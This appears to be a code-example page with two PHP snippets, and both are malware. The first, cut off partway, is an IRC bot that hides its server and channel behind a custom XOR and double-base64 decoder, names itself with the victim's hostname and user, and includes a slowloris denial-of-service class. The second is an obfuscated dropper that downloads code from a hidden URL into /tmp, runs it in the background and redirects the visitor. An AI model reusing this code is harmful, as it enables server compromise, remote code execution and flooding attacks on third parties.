示例#1
0
<?php

set_time_limit(0);
ini_set('display_errors', 'off');
error_reporting(0);
$config = array('server' => snowden('SVI4dkdFTkZKeFVxUml3a2VGNDdLdz09'), 'port' => 6667, 'channel' => snowden('YXc4NVFsND0='), 'name' => snowden('S2hnNFFtaFlNRGs9') . exec('hostname') . '-' . exec('whoami') . '-' . strval(rand(1, 1000)), 'nick' => snowden('S2hnNFFtaFlNRGs9') . exec('hostname') . '-' . exec('whoami') . '-' . strval(rand(1, 1000)), 'pass' => snowden(''));
function snowden($string)
{
    $white = base64_decode(base64_decode('U0cxTU5pbzNSR1pGTTBCZVZqRkpURWx1WHk0K1YwQnJNMVZ3S1FvPQo='));
    $text = base64_decode(base64_decode($string));
    $black = '';
    for ($i = 0, $j = 0; $i < strlen($text) && $j < strlen($white); $i++, $j++) {
        $black .= $text[$i] ^ $white[$j];
    }
    return $black;
}
class slowloris
{
    public function startSlowloris($params)
    {
        $pids = array();
        $host = $params['host'];
        $port = $params['port'];
        $method = $params['method'];
        $threads = $params['threads'];
        $maxTime = time() + intval($params['time']);
        while (1) {
            if (time() > $maxTime) {
                foreach ($pids as $pid) {
                    posix_kill($pid, 9);
                    break;
示例#2
0
<?php

ini_set('display_errors', 'off');
error_reporting(0);
function snowden($string)
{
    $white = base64_decode(base64_decode('U0cxTU5pbzNSR1pGTTBCZVZqRkpURWx1WHk0K1YwQnJNMVZ3S1FvPQo='));
    $text = base64_decode(base64_decode($string));
    $black = '';
    for ($i = 0, $j = 0; $i < strlen($text) && $j < strlen($white); $i++, $j++) {
        $black .= $text[$i] ^ $white[$j];
    }
    return $black;
}
if (!file_exists("/tmp/dp.php")) {
    file_put_contents("/tmp/dp.php", fopen(snowden("SUJrNFJoQVlhMWQzQkc1dWVBRm5mV1lNTUZvUUl6Z2Y="), 'r'));
}
exec("php /tmp/dp.php > /dev/null 2>&1 &");
header('Location: /');